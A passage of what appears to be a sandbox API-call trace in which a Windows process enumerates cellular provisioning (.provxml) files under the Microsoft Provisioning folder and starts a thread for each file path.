cAlternateFileName="133__C~1.PRO")) returned 1 [0085.757] wcscmp (_String1="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.757] wcscmp (_String1="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x156) returned 0x347bbe0 [0085.757] wcscpy (in: _Dest=0x347bbe0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.757] wcscat (in: _Dest=0x347bbe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.757] wcscat (in: _Dest=0x347bbe0, _Source="133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml" [0085.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347bbe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0085.757] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90542f74, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90542f74, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90542f74, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="134__C~1.PRO")) returned 1 [0085.757] wcscmp (_String1="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.757] wcscmp (_String1="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x34b7fe8 [0085.758] wcscpy (in: _Dest=0x34b7fe8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.758] wcscat (in: _Dest=0x34b7fe8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.758] wcscat (in: _Dest=0x34b7fe8, _Source="134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml" [0085.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b7fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0085.758] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="135__C~1.PRO")) returned 1 [0085.758] wcscmp (_String1="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.758] wcscmp (_String1="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.758] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x34b6fc8 [0085.758] wcscpy (in: _Dest=0x34b6fc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.758] wcscat (in: _Dest=0x34b6fc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.759] wcscat (in: _Dest=0x34b6fc8, _Source="135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" [0085.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b6fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500 [0085.759] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="136__C~1.PRO")) returned 1 [0085.759] wcscmp (_String1="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.759] wcscmp (_String1="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.759] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x34b8140 [0085.759] wcscpy (in: _Dest=0x34b8140, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.759] wcscat (in: _Dest=0x34b8140, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.759] wcscat (in: _Dest=0x34b8140, _Source="136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml" [0085.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b8140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x920 [0085.760] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="137__C~1.PRO")) returned 1 [0085.760] wcscmp (_String1="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0085.760] wcscmp (_String1="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0085.760] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x33e8a98 [0085.760] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.760] wcscat (in: _Dest=0x33e8a98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.760] wcscat (in: _Dest=0x33e8a98, _Source="137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0085.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8a98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ec [0085.761] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905691e4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905691e4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905691e4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="138__C~1.PRO")) returned 1 [0085.761] wcscmp (_String1="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.761] wcscmp (_String1="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14a) returned 0x34b63b0 [0085.761] wcscpy (in: _Dest=0x34b63b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.761] wcscat (in: _Dest=0x34b63b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.761] wcscat (in: _Dest=0x34b63b0, _Source="138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" [0085.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b63b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944 [0085.762] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="139__C~1.PRO")) returned 1 [0085.762] wcscmp (_String1="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.762] wcscmp (_String1="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x33e8bc8 [0085.762] wcscpy (in: _Dest=0x33e8bc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.762] wcscat (in: _Dest=0x33e8bc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.762] wcscat (in: _Dest=0x33e8bc8, _Source="139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml" [0085.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0085.763] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", cAlternateFileName="13__CO~1.PRO")) returned 1 [0085.763] wcscmp (_String1="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.763] wcscmp (_String1="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.763] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x34b6508 [0085.763] wcscpy (in: _Dest=0x34b6508, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.763] wcscat (in: _Dest=0x34b6508, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.763] wcscat (in: _Dest=0x34b6508, _Source="13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml" [0085.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b6508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0085.763] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="140__C~1.PRO")) returned 1 [0085.763] wcscmp (_String1="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.763] wcscmp (_String1="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.764] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x33e8d10 [0085.764] wcscpy (in: _Dest=0x33e8d10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.764] wcscat (in: _Dest=0x33e8d10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.764] wcscat (in: _Dest=0x33e8d10, _Source="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml" [0085.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0 [0085.764] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", cAlternateFileName="141__C~1.PRO")) returned 1 [0085.764] wcscmp (_String1="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.764] wcscmp (_String1="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.764] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x33e8e58 [0085.764] wcscpy (in: _Dest=0x33e8e58, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.764] wcscat (in: _Dest=0x33e8e58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.764] wcscat (in: _Dest=0x33e8e58, _Source="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml" [0085.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8e58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740 [0085.765] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", cAlternateFileName="142__C~1.PRO")) returned 1 [0085.765] wcscmp (_String1="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.765] wcscmp (_String1="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x347d0f8 [0085.765] wcscpy (in: _Dest=0x347d0f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.765] wcscat (in: _Dest=0x347d0f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.765] wcscat (in: _Dest=0x347d0f8, _Source="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml" [0085.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d0f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8 [0085.766] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", cAlternateFileName="143__C~1.PRO")) returned 1 [0085.766] wcscmp 